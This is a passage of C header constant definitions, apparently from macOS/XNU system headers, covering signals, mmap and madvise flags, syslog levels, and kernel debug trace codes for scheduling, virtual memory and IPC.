15\n#define SIGURG 16\n#define SIGSTOP 17\n#define SIGTSTP 18\n#define SIGCONT 19\n#define SIGCHLD 20\n#define SIGTTIN 21\n#define SIGTTOU 22\n#define SIGIO 23\n#define SIGXCPU 24\n#define SIGXFSZ 25\n#define SIGVTALRM 26\n#define SIGPROF 27\n#define SIGWINCH 28\n#define SIGINFO 29\n#define SIGUSR1 30\n#define SIGUSR2 31\n#define SIGEV_NONE 0\n#define SIGEV_SIGNAL 1\n#define SIGEV_THREAD 3\n#define ILL_NOOP 0\n#define ILL_ILLOPC 1\n#define ILL_ILLTRP 2\n#define ILL_PRVOPC 3\n#define ILL_ILLOPN 4\n#define ILL_ILLADR 5\n#define ILL_PRVREG 6\n#define ILL_COPROC 7\n#define ILL_BADSTK 8\n#define FPE_NOOP 0\n#define FPE_FLTDIV 1\n#define FPE_FLTOVF 2\n#define FPE_FLTUND 3\n#define FPE_FLTRES 4\n#define FPE_FLTINV 5\n#define FPE_FLTSUB 6\n#define FPE_INTDIV 7\n#define FPE_INTOVF 8\n#define SEGV_NOOP 0\n#define SEGV_MAPERR 1\n#define SEGV_ACCERR 2\n#define BUS_NOOP 0\n#define BUS_ADRALN 1\n#define BUS_ADRERR 2\n#define BUS_OBJERR 3\n#define TRAP_BRKPT 1\n#define TRAP_TRACE 2\n#define CLD_NOOP 0\n#define CLD_EXITED 1\n#define CLD_KILLED 2\n#define CLD_DUMPED 3\n#define CLD_TRAPPED 4\n#define CLD_STOPPED 5\n#define CLD_CONTINUED 6\n#define POLL_IN 1\n#define POLL_OUT 2\n#define POLL_MSG 3\n#define POLL_ERR 4\n#define POLL_PRI 5\n#define POLL_HUP 6\n#define SA_ONSTACK 0x0001\n#define SA_RESTART 0x0002\n#define SA_RESETHAND 0x0004\n#define SA_NOCLDSTOP 0x0008\n#define SA_NODEFER 0x0010\n#define SA_NOCLDWAIT 0x0020\n#define SA_SIGINFO 0x0040\n#define SA_USERTRAMP 0x0100\n#define SA_64REGSET 0x0200\n#define SIG_BLOCK 1\n#define SIG_UNBLOCK 2\n#define SIG_SETMASK 3\n#define SI_USER 0x10001\n#define SI_QUEUE 0x10002\n#define SI_TIMER 0x10003\n#define SI_ASYNCIO 0x10004\n#define SI_MESGQ 0x10005\n#define SS_ONSTACK 0x0001\n#define SS_DISABLE 0x0004\n#define MINSIGSTKSZ 32768\n#define SIGSTKSZ 131072\n#define __DARWIN_MAXNAMLEN 255\n#define __DARWIN_MAXPATHLEN 1024\n#define DT_UNKNOWN 0\n#define DT_FIFO 1\n#define DT_CHR 2\n#define DT_DIR 4\n#define DT_BLK 6\n#define DT_REG 8\n#define DT_LNK 10\n#define DT_SOCK 12\n#define DT_WHT 14\n#define POSIX_SPAWN_RESETIDS 0x0001\n#define POSIX_SPAWN_SETPGROUP 0x0002\n#define POSIX_SPAWN_SETSIGDEF 0x0004\n#define POSIX_SPAWN_SETSIGMASK 0x0008\n#define POSIX_SPAWN_SETSCHEDPARAM 0x0010\n#define POSIX_SPAWN_SETSCHEDULER 0x0020\n#define POSIX_SPAWN_SETEXEC 0x0040\n#define POSIX_SPAWN_START_SUSPENDED 0x0080\n#define POSIX_SPAWN_SETSID 0x0400\n#define POSIX_SPAWN_CLOEXEC_DEFAULT 0x4000\n#define _POSIX_SPAWN_RESLIDE 0x0800\n#define POSIX_SPAWN_PCONTROL_NONE 0x0000\n#define POSIX_SPAWN_PCONTROL_THROTTLE 0x0001\n#define POSIX_SPAWN_PCONTROL_SUSPEND 0x0002\n#define POSIX_SPAWN_PCONTROL_KILL 0x0003\n#define POSIX_SPAWN_PANIC_ON_CRASH 0x1\n#define POSIX_SPAWN_PANIC_ON_NON_ZERO_EXIT 0x2\n#define POSIX_SPAWN_PANIC_ON_EXIT 0x4\n#define POSIX_SPAWN_PANIC_ON_SPAWN_FAIL 0x8\n#define PROT_NONE 0x00\n#define PROT_READ 0x01\n#define PROT_WRITE 0x02\n#define PROT_EXEC 0x04\n#define MAP_SHARED 0x0001\n#define MAP_PRIVATE 0x0002\n#define MAP_FIXED 0x0010\n#define MAP_RENAME 0x0020\n#define MAP_NORESERVE 0x0040\n#define MAP_RESERVED0080 0x0080\n#define MAP_NOEXTEND 0x0100\n#define MAP_HASSEMAPHORE 0x0200\n#define MAP_NOCACHE 0x0400\n#define MAP_JIT 0x0800\n#define MAP_FILE 0x0000\n#define MAP_ANON 0x1000\n#define MAP_RESILIENT_CODESIGN 0x2000\n#define MAP_RESILIENT_MEDIA 0x4000\n#define MAP_32BIT 0x8000\n#define MAP_TRANSLATED_ALLOW_EXECUTE 0x20000\n#define MAP_UNIX03 0x40000\n#define MAP_TPRO 0x80000\n#define MCL_CURRENT 0x0001\n#define MCL_FUTURE 0x0002\n#define MS_ASYNC 0x0001\n#define MS_INVALIDATE 0x0002\n#define MS_SYNC 0x0010\n#define MS_KILLPAGES 0x0004\n#define MS_DEACTIVATE 0x0008\n#define POSIX_MADV_NORMAL 0\n#define POSIX_MADV_RANDOM 1\n#define POSIX_MADV_SEQUENTIAL 2\n#define POSIX_MADV_WILLNEED 3\n#define POSIX_MADV_DONTNEED 4\n#define MADV_FREE 5\n#define MADV_ZERO_WIRED_PAGES 6\n#define MADV_FREE_REUSABLE 7\n#define MADV_FREE_REUSE 8\n#define MADV_CAN_REUSE 9\n#define MADV_PAGEOUT 10\n#define MADV_ZERO 11\n#define MINCORE_INCORE 0x1\n#define MINCORE_REFERENCED 0x2\n#define MINCORE_MODIFIED 0x4\n#define MINCORE_REFERENCED_OTHER 0x8\n#define MINCORE_MODIFIED_OTHER 0x10\n#define MINCORE_PAGED_OUT 0x20\n#define MINCORE_COPIED 0x40\n#define MINCORE_ANONYMOUS 0x80\n#define B_WRITE 0x00000000\n#define B_READ 0x00000001\n#define B_ASYNC 0x00000002\n#define B_NOCACHE 0x00000004\n#define B_DELWRI 0x00000008\n#define B_LOCKED 0x00000010\n#define B_PHYS 0x00000020\n#define B_CLUSTER 0x00000040\n#define B_PAGEIO 0x00000080\n#define B_META 0x00000100\n#define B_RAW 0x00000200\n#define B_FUA 0x00000400\n#define B_PASSIVE 0x00000800\n#define B_IOSTREAMING 0x00001000\n#define B_THROTTLED_IO 0x00002000\n#define B_ENCRYPTED_IO 0x00004000\n#define B_STATICCONTENT 0x00008000\n#define BUF_WAIT 0x01\n#define BUF_WRITE_DATA 0x0001\n#define BUF_SKIP_META 0x0002\n#define BUF_INVALIDATE_LOCKED 0x0004\n#define BUF_SKIP_NONLOCKED 0x01\n#define BUF_SKIP_LOCKED 0x02\n#define BUF_SCAN_CLEAN 0x04\n#define BUF_SCAN_DIRTY 0x08\n#define BUF_NOTIFY_BUSY 0x10\n#define BUF_RETURNED 0\n#define BUF_RETURNED_DONE 1\n#define BUF_CLAIMED 2\n#define BUF_CLAIMED_DONE 3\n#define BLK_READ 0x01\n#define BLK_WRITE 0x02\n#define BLK_META 0x10\n#define BLK_ONLYVALID 0x80000000\n#define LOG_EMERG 0\n#define LOG_ALERT 1\n#define LOG_CRIT 2\n#define LOG_ERR 3\n#define LOG_WARNING 4\n#define LOG_NOTICE 5\n#define LOG_INFO 6\n#define LOG_DEBUG 7\n#define LOG_PRIMASK 0x07\n#define INTERNAL_NOPRI 0x10\n#define LOG_NFACILITIES 25\n#define LOG_FACMASK 0x03f8\n#define LOG_PID 0x01\n#define LOG_CONS 0x02\n#define LOG_ODELAY 0x04\n#define LOG_NDELAY 0x08\n#define LOG_NOWAIT 0x10\n#define LOG_PERROR 0x20\n#define CRF_NOMEMBERD 0x00000001\n#define CRF_MAC_ENFORCE 0x00000002\n#define XUCRED_VERSION 0\n#define DK_FEATURE_BARRIER 0x00000002\n#define DK_FEATURE_PRIORITY 0x00000004\n#define DK_FEATURE_UNMAP 0x00000010\n#define DK_SYNCHRONIZE_OPTION_BARRIER 0x00000002\n#define DK_CORESTORAGE_PIN_YOUR_METADATA 0x00000001\n#define DK_CORESTORAGE_ENABLE_HOTFILES 0x00000002\n#define DK_CORESTORAGE_PIN_YOUR_SWAPFILE 0x00000004\n#define DK_PROVISION_TYPE_MAPPED 0x00\n#define DK_PROVISION_TYPE_DEALLOCATED 0x01\n#define DK_PROVISION_TYPE_ANCHORED 0x02\n#define DK_LOCATION_INTERNAL 0x00000000\n#define DK_LOCATION_EXTERNAL 0x00000001\n#define DK_FEATURE_FORCE_UNIT_ACCESS 0x00000001\n#define DK_ENCRYPTION_TYPE_AES_CBC 1\n#define DK_ENCRYPTION_TYPE_AES_XEX 2\n#define DK_ENCRYPTION_TYPE_AES_XTS 3\n#define DK_TIER_MASK 0xC0\n#define DK_TIER_SHIFT 6\n#define SOL_LOCAL 0\n#define LOCAL_PEERCRED 0x001\n#define LOCAL_PEERPID 0x002\n#define LOCAL_PEEREPID 0x003\n#define LOCAL_PEERUUID 0x004\n#define LOCAL_PEEREUUID 0x005\n#define LOCAL_PEERTOKEN 0x006\n#define _SYS_TIMEX_H_ 1\n#define NTP_API 4\n#define MINSEC 256\n#define MAXSEC 2048\n#define MAXTC 10\n#define MOD_OFFSET 0x0001\n#define MOD_FREQUENCY 0x0002\n#define MOD_MAXERROR 0x0004\n#define MOD_ESTERROR 0x0008\n#define MOD_STATUS 0x0010\n#define MOD_TIMECONST 0x0020\n#define MOD_PPSMAX 0x0040\n#define MOD_TAI 0x0080\n#define MOD_MICRO 0x1000\n#define MOD_NANO 0x2000\n#define MOD_CLKB 0x4000\n#define MOD_CLKA 0x8000\n#define STA_PLL 0x0001\n#define STA_PPSFREQ 0x0002\n#define STA_PPSTIME 0x0004\n#define STA_FLL 0x0008\n#define STA_INS 0x0010\n#define STA_DEL 0x0020\n#define STA_UNSYNC 0x0040\n#define STA_FREQHOLD 0x0080\n#define STA_PPSSIGNAL 0x0100\n#define STA_PPSJITTER 0x0200\n#define STA_PPSWANDER 0x0400\n#define STA_PPSERROR 0x0800\n#define STA_CLOCKERR 0x1000\n#define STA_NANO 0x2000\n#define STA_MODE 0x4000\n#define STA_CLK 0x8000\n#define TIME_OK 0\n#define TIME_INS 1\n#define TIME_DEL 2\n#define TIME_OOP 3\n#define TIME_WAIT 4\n#define TIME_ERROR 5\n#define MT_FREE 0\n#define MT_DATA 1\n#define MT_HEADER 2\n#define MT_SOCKET 3\n#define MT_PCB 4\n#define MT_RTABLE 5\n#define MT_HTABLE 6\n#define MT_ATABLE 7\n#define MT_SONAME 8\n#define MT_SOOPTS 10\n#define MT_FTABLE 11\n#define MT_RIGHTS 12\n#define MT_IFADDR 13\n#define MT_CONTROL 14\n#define MT_OOBDATA 15\n#define MT_TAG 16\n#define MT_MAX 32\n#define MAX_MBUF_CNAME 15\n#define MCS_DISABLED 0\n#define MCS_ONLINE 1\n#define MCS_PURGING 2\n#define MCS_OFFLINE 3\n#define MSG_NOERROR 0010000\n#define MSGSSZ 8\n#define MSGSEG 2048\n#define MSGMNB 2048\n#define MSGMNI 40\n#define MSGTQL 40\n#define MSG_LOCKED 001000\n#define DBG_MACH 1\n#define DBG_NETWORK 2\n#define DBG_FSYSTEM 3\n#define DBG_BSD 4\n#define DBG_IOKIT 5\n#define DBG_DRIVERS 6\n#define DBG_TRACE 7\n#define DBG_DLIL 8\n#define DBG_PTHREAD 9\n#define DBG_CORESTORAGE 10\n#define DBG_CG 11\n#define DBG_MONOTONIC 12\n#define DBG_MISC 20\n#define DBG_SECURITY 30\n#define DBG_DYLD 31\n#define DBG_QT 32\n#define DBG_APPS 33\n#define DBG_LAUNCHD 34\n#define DBG_SILICON 35\n#define DBG_PERF 37\n#define DBG_IMPORTANCE 38\n#define DBG_BANK 40\n#define DBG_XPC 41\n#define DBG_ATM 42\n#define DBG_ARIADNE 43\n#define DBG_DAEMON 44\n#define DBG_ENERGYTRACE 45\n#define DBG_DISPATCH 46\n#define DBG_IMG 49\n#define DBG_UMALLOC 51\n#define DBG_TURNSTILE 53\n#define DBG_AUDIO 54\n#define DBG_MIG 255\n#define DBG_MACH_EXCP_KTRAP_x86 0x02\n#define DBG_MACH_EXCP_DFLT 0x03\n#define DBG_MACH_EXCP_SYNC_ARM 0x03\n#define DBG_MACH_EXCP_IFLT 0x04\n#define DBG_MACH_EXCP_SERR_ARM 0x04\n#define DBG_MACH_EXCP_INTR 0x05\n#define DBG_MACH_EXCP_ALNG 0x06\n#define DBG_MACH_EXCP_UTRAP_x86 0x07\n#define DBG_MACH_EXCP_FP 0x08\n#define DBG_MACH_EXCP_DECI 0x09\n#define DBG_MACH_CHUD 0x0A\n#define DBG_MACH_SIGNPOST 0x0A\n#define DBG_MACH_EXCP_SC 0x0C\n#define DBG_MACH_EXCP_TRACE 0x0D\n#define DBG_MACH_EXCP_EMUL 0x0E\n#define DBG_MACH_IHDLR 0x10\n#define DBG_MACH_IPC 0x20\n#define DBG_MACH_RESOURCE 0x25\n#define DBG_MACH_EXCLAVES 0x2A\n#define DBG_MACH_EXCLAVES_SCHEDULER 0x2B\n#define DBG_MACH_EPOCH_SYNC 0x2C\n#define DBG_MACH_VM 0x30\n#define DBG_MACH_LEAKS 0x31\n#define DBG_MACH_WORKINGSET 0x32\n#define DBG_MACH_SCHED 0x40\n#define DBG_MACH_MSGID_INVALID 0x50\n#define DBG_MACH_LOCKS 0x60\n#define DBG_MACH_PMAP 0x70\n#define DBG_MACH_CLOCK 0x80\n#define DBG_MACH_MP 0x90\n#define DBG_MACH_VM_PRESSURE 0xA0\n#define DBG_MACH_STACKSHOT 0xA1\n#define DBG_MACH_SFI 0xA2\n#define DBG_MACH_ENERGY_PERF 0xA3\n#define DBG_MACH_SYSDIAGNOSE 0xA4\n#define DBG_MACH_ZALLOC 0xA5\n#define DBG_MACH_THREAD_GROUP 0xA6\n#define DBG_MACH_COALITION 0xA7\n#define DBG_MACH_SHAREDREGION 0xA8\n#define DBG_MACH_SCHED_CLUTCH 0xA9\n#define DBG_MACH_IO 0xAA\n#define DBG_MACH_WORKGROUP 0xAB\n#define DBG_MACH_HV 0xAC\n#define DBG_MACH_KCOV 0xAD\n#define DBG_MACH_MACHDEP_EXCP_SC_x86 0xAE\n#define DBG_MACH_MACHDEP_EXCP_SC_ARM 0xAF\n#define DBG_MACH_VM_RECLAIM 0xB0\n#define DBC_MACH_IO_MMIO_READ 0x1\n#define DBC_MACH_IO_MMIO_WRITE 0x2\n#define DBC_MACH_IO_PHYS_READ 0x3\n#define DBC_MACH_IO_PHYS_WRITE 0x4\n#define DBC_MACH_IO_PORTIO_READ 0x5\n#define DBC_MACH_IO_PORTIO_WRITE 0x6\n#define DBG_INTR_TYPE_UNKNOWN 0x0\n#define DBG_INTR_TYPE_IPI 0x1\n#define DBG_INTR_TYPE_TIMER 0x2\n#define DBG_INTR_TYPE_OTHER 0x3\n#define DBG_INTR_TYPE_PMI 0x4\n#define DBG_INTR_TYPE_RSVD1 0x5\n#define MACH_SCHED 0x0\n#define MACH_STACK_ATTACH 0x1\n#define MACH_STACK_HANDOFF 0x2\n#define MACH_CALL_CONT 0x3\n#define MACH_CALLOUT 0x4\n#define MACH_STACK_DETACH 0x5\n#define MACH_MAKE_RUNNABLE 0x6\n#define MACH_PROMOTE 0x7\n#define MACH_DEMOTE 0x8\n#define MACH_IDLE 0x9\n#define MACH_STACK_DEPTH 0xa\n#define MACH_MOVED 0xb\n#define MACH_PSET_LOAD_AVERAGE 0xc\n#define MACH_AMP_DEBUG 0xd\n#define MACH_FAILSAFE 0xe\n#define MACH_BLOCK 0xf\n#define MACH_WAIT 0x10\n#define MACH_GET_URGENCY 0x14\n#define MACH_URGENCY 0x15\n#define MACH_REDISPATCH 0x16\n#define MACH_REMOTE_AST 0x17\n#define MACH_SCHED_CHOOSE_PROCESSOR 0x18\n#define MACH_DEEP_IDLE 0x19\n#define MACH_CPU_THROTTLE_DISABLE 0x1b\n#define MACH_RW_PROMOTE 0x1c\n#define MACH_RW_DEMOTE 0x1d\n#define MACH_SCHED_MAINTENANCE 0x1f\n#define MACH_DISPATCH 0x20\n#define MACH_QUANTUM_HANDOFF 0x21\n#define MACH_SCHED_THREAD_SWITCH 0x23\n#define MACH_SCHED_SMT_BALANCE 0x24\n#define MACH_REMOTE_DEFERRED_AST 0x25\n#define MACH_REMOTE_CANCEL_AST 0x26\n#define MACH_SCHED_CHANGE_PRIORITY 0x27\n#define MACH_SCHED_UPDATE_REC_CORES 0x28\n#define MACH_STACK_WAIT 0x29\n#define MACH_THREAD_BIND 0x2a\n#define MACH_WAITQ_PROMOTE 0x2b\n#define MACH_WAITQ_DEMOTE 0x2c\n#define MACH_SCHED_LOAD 0x2d\n#define MACH_REC_CORES_FAILSAFE 0x2e\n#define MACH_SCHED_QUANTUM_EXPIRED 0x2f\n#define MACH_EXEC_PROMOTE 0x30\n#define MACH_EXEC_DEMOTE 0x31\n#define MACH_AMP_SIGNAL_SPILL 0x32\n#define MACH_AMP_STEAL 0x33\n#define MACH_SCHED_LOAD_EFFECTIVE 0x34\n#define MACH_QUIESCENT_COUNTER 0x38\n#define MACH_TURNSTILE_USER_CHANGE 0x39\n#define MACH_AMP_RECOMMENDATION_CHANGE 0x3a\n#define MACH_AMP_PERFCTL_POLICY_CHANGE 0x3b\n#define MACH_TURNSTILE_KERNEL_CHANGE 0x40\n#define MACH_SCHED_WI_AUTO_JOIN 0x41\n#define MACH_SCHED_WI_DEFERRED_FINISH 0x42\n#define MACH_SET_RT_DEADLINE 0x43\n#define MACH_CANCEL_RT_DEADLINE 0x44\n#define MACH_RT_SIGNAL_SPILL 0x45\n#define MACH_RT_STEAL 0x46\n#define MACH_PENDING_AST_URGENT 0x47\n#define MACH_SCHED_THREAD_SELECT 0x48\n#define MACH_SCHED_NEXT_PROCESSOR 0x49\n#define MACH_PSET_AVG_EXEC_TIME 0x50\n#define MACH_SUSPEND_USERSPACE 0x51\n#define MACH_PREEMPTION_EXPIRED 0x52\n#define MACH_FLOOR_PROMOTE 0x53\n#define MACH_FLOOR_DEMOTE 0x54\n#define MACH_INT_MASKED_EXPIRED 0x55\n#define MACH_INT_HANDLED_EXPIRED 0x56\n#define MACH_UPDATE_POWERED_CORES 0x58\n#define MACH_MODE_DEMOTE_THROTTLED 0x59\n#define MACH_MODE_DEMOTE_FAILSAFE 0x5a\n#define MACH_MODE_DEMOTE_RT_DISALLOWED 0x5b\n#define MACH_MODE_UNDEMOTE_THROTTLED 0x5c\n#define MACH_MODE_UNDEMOTE_FAILSAFE 0x5d\n#define MACH_MODE_UNDEMOTE_RT_DISALLOWED 0x5e\n#define MACH_INT_MASKED_RESET 0x5f\n#define MACH_RT_DISALLOWED_WORK_INTERVAL 0x60\n#define MACH_SCHED_WI_EXTERNAL_WAKEUP 0x61\n#define MACH_SCHED_AST_CHECK 0x62\n#define MACH_SCHED_PREEMPT_TIMER_ACTIVE 0x63\n#define MACH_PROCESSOR_SHUTDOWN 0x64\n#define MACH_SCHED_CLUTCH_ROOT_BUCKET_STATE 0x0\n#define MACH_SCHED_CLUTCH_TG_BUCKET_STATE 0x1\n#define MACH_SCHED_CLUTCH_THREAD_SELECT 0x2\n#define MACH_SCHED_CLUTCH_THREAD_STATE 0x3\n#define MACH_SCHED_CLUTCH_TG_BUCKET_PRI 0x4\n#define MACH_SCHED_EDGE_CLUSTER_OVERLOAD 0x5\n#define MACH_SCHED_EDGE_STEAL 0x6\n#define MACH_SCHED_EDGE_REBAL_RUNNABLE 0x7\n#define MACH_SCHED_EDGE_REBAL_RUNNING 0x8\n#define MACH_SCHED_EDGE_SHOULD_YIELD 0x9\n#define MACH_SCHED_CLUTCH_THR_COUNT 0xa\n#define MACH_SCHED_EDGE_LOAD_AVG 0xb\n#define MACH_SCHED_EDGE_CLUSTER_SHARED_LOAD 0xc\n#define MACH_SCHED_EDGE_RSRC_HEAVY_THREAD 0xd\n#define MACH_SCHED_EDGE_SHARED_RSRC_MIGRATE 0xe\n#define WORKGROUP_INTERVAL_CREATE 0x0\n#define WORKGROUP_INTERVAL_DESTROY 0x1\n#define WORKGROUP_INTERVAL_CHANGE 0x2\n#define WORKGROUP_INTERVAL_START 0x3\n#define WORKGROUP_INTERVAL_UPDATE 0x4\n#define WORKGROUP_INTERVAL_FINISH 0x5\n#define WORKGROUP_INTERVAL_SET_WORKLOAD_ID 0x6\n#define WORKGROUP_INTERVAL_SET_WORKLOAD_ID_NAME 0x7\n#define KCOV_STKSZ_THRESHOLD_ABOVE 0x0\n#define KCOV_STKSZ_THRESHOLD_BELOW 0x1\n#define DBG_VM_VNODE_PAGEOUT 0x001\n#define DBG_VM_FAULT_INTERNAL 0x002\n#define DBG_VM_PURGEABLE_TOKEN_ADD 0x040\n#define DBG_VM_PURGEABLE_TOKEN_DELETE 0x041\n#define DBG_VM_PURGEABLE_TOKEN_RIPEN 0x042\n#define DBG_VM_PURGEABLE_OBJECT_ADD 0x048\n#define DBG_VM_PURGEABLE_OBJECT_REMOVE 0x049\n#define DBG_VM_PURGEABLE_OBJECT_PURGE 0x04a\n#define DBG_VM_PURGEABLE_OBJECT_PURGE_ALL 0x04b\n#define DBG_VM_PURGEABLE_OBJECT_PURGE_ONE 0x04c\n#define DBG_VM_PURGEABLE_OBJECT_PURGE_LOOP 0x04e\n#define DBG_VM_MAP_PARTIAL_REAP 0x054\n#define DBG_VM_MAP_WILLNEED 0x055\n#define DBG_VM_FAULT_CHECK_ZFDELAY 0x100\n#define DBG_VM_FAULT_COWDELAY 0x101\n#define DBG_VM_FAULT_ZFDELAY 0x102\n#define DBG_VM_FAULT_COMPRESSORDELAY 0x103\n#define DBG_VM_PAGEOUT_SCAN 0x104\n#define DBG_VM_PAGEOUT_BALANCE 0x105\n#define DBG_VM_PAGEOUT_FREELIST 0x106\n#define DBG_VM_PAGEOUT_PURGEONE 0x107\n#define DBG_VM_PAGEOUT_CACHE_EVICT 0x108\n#define DBG_VM_PAGEOUT_THREAD_BLOCK 0x109\n#define DBG_VM_PAGEOUT_JETSAM 0x10A\n#define DBG_VM_INFO1 0x10B\n#define DBG_VM_INFO2 0x10C\n#define DBG_VM_INFO3 0x10D\n#define DBG_VM_INFO4 0x10E\n#define DBG_VM_INFO5 0x10F\n#define DBG_VM_INFO6 0x110\n#define DBG_VM_INFO7 0x111\n#define DBG_VM_INFO8 0x112\n#define DBG_VM_INFO9 0x113\n#define DBG_VM_INFO10 0x114\n#define DBG_VM_UPL_PAGE_WAIT 0x120\n#define DBG_VM_IOPL_PAGE_WAIT 0x121\n#define DBG_VM_PAGE_WAIT_BLOCK 0x122\n#define DBG_VM_PAGE_SLEEP 0x123\n#define DBG_VM_PAGE_EXPEDITE 0x124\n#define DBG_VM_PAGE_EXPEDITE_NO_MEMORY 0x125\n#define DBG_VM_PAGE_GRAB 0x126\n#define DBG_VM_PAGE_RELEASE 0x127\n#define DBG_VM_COMPRESSOR_COMPACT_AND_SWAP 0x128\n#define DBG_VM_COMPRESSOR_DELAYED_COMPACT 0x129\n#define DBG_VM_OBJECT_SLEEP 0x12a\n#define DBG_VM_PAGE_WAKEUP 0x12b\n#define DBG_VM_PAGE_WAKEUP_DONE 0x12c\n#define DBG_VM_PRESSURE_EVENT 0x130\n#define DBG_VM_EXECVE 0x131\n#define DBG_VM_WAKEUP_COMPACTOR_SWAPPER 0x132\n#define DBG_VM_UPL_REQUEST 0x133\n#define DBG_VM_IOPL_REQUEST 0x134\n#define DBG_VM_KERN_REQUEST 0x135\n#define DBG_VM_DATA_WRITE 0x140\n#define DBG_VM_PRESSURE_LEVEL_CHANGE 0x141\n#define DBG_VM_PHYS_WRITE_ACCT 0x142\n#define DBG_VM_MAP_LOOKUP_ENTRY_FAILURE 0x143\n#define VM_DISCONNECT_ALL_PAGE_MAPPINGS 0x00\n#define VM_DISCONNECT_TASK_PAGE_MAPPINGS 0x01\n#define VM_REAL_FAULT_ADDR_INTERNAL 0x02\n#define VM_REAL_FAULT_ADDR_PURGABLE 0x03\n#define VM_REAL_FAULT_ADDR_EXTERNAL 0x04\n#define VM_REAL_FAULT_ADDR_SHAREDCACHE 0x05\n#define VM_REAL_FAULT_FAST 0x06\n#define VM_REAL_FAULT_SLOW 0x07\n#define VM_MAP_LOOKUP_OBJECT 0x08\n#define DBG_ZERO_FILL_FAULT 0x01\n#define DBG_PAGEIN_FAULT 0x02\n#define DBG_COW_FAULT 0x03\n#define DBG_CACHE_HIT_FAULT 0x04\n#define DBG_NZF_PAGE_FAULT 0x05\n#define DBG_GUARD_FAULT 0x06\n#define DBG_PAGEINV_FAULT 0x07\n#define DBG_PAGEIND_FAULT 0x08\n#define DBG_COMPRESSOR_FAULT 0x09\n#define DBG_COMPRESSOR_SWAPIN_FAULT 0x0a\n#define DBG_COR_FAULT 0x0b\n#define MACH_TASK_SUSPEND 0x0\n#define MACH_TASK_RESUME 0x1\n#define MACH_THREAD_SET_VOUCHER 0x2\n#define MACH_IPC_MSG_SEND 0x3\n#define MACH_IPC_MSG_RECV 0x4\n#define MACH_IPC_MSG_RECV_VOUCHER_REFUSED 0x5\n#define MACH_IPC_KMSG_FREE 0x6\n#define MACH_IPC_VOUCHER_CREATE 0x7\n#define MACH_IPC_VOUCHER_CREATE_ATTR_DATA 0x8\n#define MACH_IPC_VOUCHER_DESTROY 0x9\n#define MACH_IPC_KMSG_INFO 0xa\n#define MACH_IPC_KMSG_LINK 0xb\n#define MACH_IPC_PORT_ENTRY_MODIFY 0xc\n#define MACH_IPC_DESTROY_GUARDED_DESC 0xd\n#define MACH_THREAD_SUSPEND 0xe\n#define MACH_THREAD_RESUME 0xf\n#define MACH_EXCLAVES_SWITCH 0x0\n#define MACH_EXCLAVES_XNUPROXY 0x1\n#define MACH_EXCLAVES_RPC 0x2\n#define MACH_EXCLAVES_UPCALL 0x3\n#define MACH_EXCLAVES_BOOT_TASK 0x4\n#define MACH_EXCLAVES_SCHEDULER_YIELD 0x0\n#define MACH_EXCLAVES_SCHEDULER_SPAWNED 0x1\n#define MACH_EXCLAVES_SCHEDULER_TERMINATED 0x2\n#define MACH_EXCLAVES_SCHEDULER_WAIT 0x3\n#define MACH_EXCLAVES_SCHEDULER_WAKE 0x4\n#define MACH_EXCLAVES_SCHEDULER_SUSPENDED 0x5\n#define MACH_EXCLAVES_SCHEDULER_RESUMED 0x6\n#define MACH_EXCLAVES_SCHEDULER_INTERRUPTED 0x7\n#define MACH_EXCLAVES_SCHEDULER_NOTHING_SCHEDULED 0x8\n#define MACH_EXCLAVES_SCHEDULER_ALL_EXCLAVES_BOOTED 0x9\n#define MACH_EXCLAVES_SCHEDULER_EARLY_ALLOC 0xa\n#define MACH_EPOCH_SYNC_WAIT_STALE 0x0\n#define MACH_EPOCH_SYNC_WAIT 0x1\n#define MACH_EPOCH_SYNC_WAKE_NO_WAITERS 0x2\n#define MACH_EPOCH_SYNC_WAKE_ONE 0x3\n#define MACH_EPOCH_SYNC_WAKE_ALL 0x4\n#define MACH_EPOCH_SYNC_WAKE_ONE_WITH_OWNER 0x5\n#define MACH_EPOCH_SYNC_WAKE_THREAD 0x6\n#define MACH_THREAD_GROUP_NEW 0x0\n#define MACH_THREAD_GROUP_FREE 0x1\n#define MACH_THREAD_GROUP_SET 0x2\n#define MACH_THREAD_GROUP_NAME 0x3\n#define MACH_THREAD_GROUP_NAME_FREE 0x4\n#define MACH_THREAD_GROUP_FLAGS 0x5\n#define MACH_THREAD_GROUP_BLOCK 0x6\n#define MACH_THREAD_GROUP_PREADOPT 0x7\n#define MACH_THREAD_GROUP_PREADOPT_NEXTTIME 0x8\n#define MACH_THREAD_GROUP_PREADOPT_CLEAR 0x9\n#define MACH_THREAD_GROUP_PREADOPT_NA 0xa\n#define MACH_COALITION_NEW 0x0\n#define MACH_COALITION_FREE 0x1\n#define MACH_COALITION_ADOPT 0x2\n#define MACH_COALITION_REMOVE 0x3\n#define MACH_COALITION_THREAD_GROUP_SET 0x4\n#define PMAP__CREATE 0x0\n#define PMAP__DESTROY 0x1\n#define PMAP__PROTECT 0x2\n#define PMAP__PAGE_PROTECT 0x3\n#define PMAP__ENTER 0x4\n#define PMAP__REMOVE 0x5\n#define PMAP__NEST 0x6\n#define PMAP__UNNEST 0x7\n#define PMAP__FLUSH_TLBS 0x8\n#define PMAP__UPDATE_INTERRUPT 0x9\n#define PMAP__ATTRIBUTE_CLEAR 0xa\n#define PMAP__REUSABLE 0xb\n#define PMAP__QUERY_RESIDENT 0xc\n#define PMAP__FLUSH_KERN_TLBS 0xd\n#define PMAP__FLUSH_DELAYED_TLBS 0xe\n#define PMAP__FLUSH_TLBS_TO 0xf\n#define PMAP__FLUSH_EPT 0x10\n#define PMAP__FAST_FAULT 0x11\n#define PMAP__SWITCH 0x12\n#define PMAP__TTE 0x13\n#define PMAP__SWITCH_USER_TTB 0x14\n#define PMAP__UPDATE_CACHING 0x15\n#define PMAP__ATTRIBUTE_CLEAR_RANGE 0x16\n#define PMAP__CLEAR_USER_TTB 0x17\n#define PMAP__IOMMU_INIT 0x18\n#define PMAP__IOMMU_IOVMALLOC 0x19\n#define PMAP__IOMMU_IOVMFREE 0x1a\n#define PMAP__IOMMU_MAP 0x1b\n#define PMAP__IOMMU_UNMAP 0x1c\n#define PMAP__IOMMU_IOCTL 0x1d\n#define PMAP__IOMMU_GRANT_PAGE 0x1e\n#define PMAP__BATCH_UPDATE_CACHING 0x1f\n#define PMAP__COLLECT_CACHE_OPS 0x20\n#define MACH_EPOCH_CHANGE 0x0\n#define MACH_BRIDGE_RCV_TS 0x1\n#define MACH_BRIDGE_REMOTE_TIME 0x2\n#define MACH_BRIDGE_RESET_TS 0x3\n#define MACH_BRIDGE_TS_PARAMS 0x4\n#define MACH_BRIDGE_SKIP_TS 0x5\n#define MACH_BRIDGE_TS_MISMATCH 0x6\n#define MACH_BRIDGE_OBSV_RATE 